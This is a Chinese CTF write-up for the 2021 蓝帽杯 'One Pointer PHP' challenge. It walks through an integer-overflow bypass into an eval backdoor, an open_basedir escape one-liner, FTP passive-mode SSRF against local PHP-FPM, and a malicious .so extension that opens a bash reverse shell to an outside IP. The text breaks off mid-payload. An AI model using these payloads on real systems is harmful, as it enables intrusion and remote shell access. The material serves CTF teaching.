[蓝帽杯 2021]One Pointer PHP

本文介绍了一种针对PHP-FPM的服务器端请求伪造(SSRF)攻击方法,通过FTP协议绕过限制并实现远程代码执行(RCE)。此外,还详细展示了如何利用具有SUID权限的PHP命令来提权并获取敏感信息。

[蓝帽杯 2021]One Pointer PHP

知识点:

PHP 数组溢出

如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

绕过open_basedir
mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
加载恶意 .so 扩展
SUID提权

解题:

源码如下:

  • user.php
<?php
class User{
   
   
	public $count;
} 
?>
  • add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
   
   
	$count[++$user->count]=1; //将数组的第几个属性赋值为1
	if($count[]=1){
   
   
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
   
   
		eval($_GET["backdoor"]);
	}
}else{
   
   
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

我们需要进入后门,但是发现if语句那里是一个赋值语句,永真,所以按理说不管怎样返回的都是 True:

但是:
在这里插入图片描述

当我们进行$count[]=1赋值运算时,是往$count[++$user->count]=1这个赋值语句的键值后面一个赋值

当我们$count[++$user->count]=1这里的键值刚好没有溢出时,后面赋值语句就会溢出

导致报错,返回值为0,然后就可以成功绕过并进入到 eval() 中了。

所以payload:

O:4:"User":1:{s:5:"count";i:9223372036854775806;}

然后修改Cookie后便可以进行代码执行了:

http://ad6b7418-6248-4047-909c-f67077e14d91.node3.buuoj.cn/add_api.php?backdoor=phpinfo();

查看 phpinfo,发现题目做了以下限制:

disable_functions:

a

过滤了各种命令执行函数,但是像scandirfile_get_contentsfile_put_contents等目录和文件操作函数没有被过滤

a

设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()ini_set()组合来绕过open_basedir

/add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

发现可以读出/etc/passwd,但是读不出/flag,猜测与权限有关,那我们就要想办法提权了,但是要提权则必须先拿到 Shell 执行命令,也就是得要先绕过disable_functions

当读取/proc/self/cmdline时发现当前进程是php-fpm

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sBirlDeP-1623945566765)(https://woshilnp.github.io/wzimg/315.png)]

所以说这道题应该就是通过攻击php-fpm来绕过disable_functions了。

首先查看nginx配置文件/etc/nginx/nginx.conf

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

在读取/etc/nginx/sites-enabled/default

a

发现在本地9001端口开有FastCGI服务,phpinfo中也表明该项目为FPM/FastCGI,可以通过未授权打FPM rce

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM

FPM按照fastcgi的协议将TCP流解析成真正的数据。

例如,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
   
   
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /";

因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini中的设置,覆盖了本身的open_basedir

既然我们可以通过eval()执行任意代码,那我们便可以构造恶意代码进行 SSRF,利用 SSRF 攻击本地的 PHP-FPM。但是由于这里禁用了许多函数和类,像那些普通能构成 SSRF 的函数和类都无法使用,但是 FTP 协议未被禁用。

我们可以通过在 VPS上搭建恶意的FTP服务器,骗取目标主机将 Payload 重定向到自己的 9001 端口上,从而实现攻击 PHP-FPM 并执行命令。

php 支持的协议和封装:https://www.php.net/manual/zh/wrappers.php,可代替发二进制包的协议只有ftp://

ftp 的两种传输模式

ftp 有两种使用模式:主动模式(port)和被动模式(pasv)。

port 要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题,连接有时候会被客户端的防火墙阻止。所以,创立了 pasv 。pasv 只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

ftp 客户端和服务器之间需要建立两条 tcp 连接,一条是控制连接( 21 端口),用来发送控制指令,另外一条是数据连接( 20 端口 / 随机端口),真正的文件传输是通过数据连接来完成的。

两种传输模式的异同

对于两种传输模式来说,控制连接的建立过程都是一样,均为服务器监听 21 号端口,客户端向服务器的该端口发起 tcp 连接。

两种传输模式的不同之处体现在数据连接的建立,对于数据连接的建立,主被动模式的不同在于数据连接的建立“服务器”是“主动”还是”被动”:

port 服务器通过控制连接知道客户端监听的端口后,使用自己的 20 号端口作为源端口,服务器“主动”发起 tcp 数据连接。

pasv 服务器监听 1024-65535 的一个随机端口,并通过控制连接将该端口告诉客户端,客户端向服务器的该端口发起 tcp 数据连接,这种情况下数据连接的建立相当于服务器是“被动”的。

这里利用了 FTP 协议工作方式中的被动方式,在该方式中,FTP 客户端和服务端在建立控制通道的时候用二者的TCP 21端口建立连接,建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求,客户端连接到 FTP 服务器的此高端端口,通过三次握手建立通道,然后FTP服务器将通过这个端口进行数据的传送。

可见,在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的,而且还有一点是很多地方没有提到的,实际上除了端口,服务器的地址也是可以被指定的。由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:

227 Entering Passive Mode(192,168,9,2,4,8)

227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。

file_put_contents() 函数在使用 FTP 协议时,会将第二个参数 data 中的内容上传到 FTP 服务器。由于上面说的被动模式下,服务器的地址和端口是可控的,所以我们就可以将地址和端口指到 127.0.0.1:9000。同时由于 FTP 的特性,其会把 data 原封不动的发给 127.0.0.1:9000,不会有任何的多余内容(类似 Gopher 协议),完美符合攻击 Fastcgi/PHP-FPM 的要求。

所以,我们便可以通过 file_put_contents() 函数构造FTP-SSRF,来实现对目标主机上 PHP-FPM 的攻击。

首先尝试使用 Gopherus 生成的攻击 PHP-FPM 的 Payload 失败,然后尝试通过加载恶意 .so 扩展的方式。

先编写一个扩展(网上的脚本,亘古不变):

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
   
   
    system("bash -c 'bash -i >& /dev/tcp/47.110.124.239/2333 0>&1'");
}

编译:

gcc hpdoger.c -fPIC -shared -o hpdoger.so

将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中:

PHP
/add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值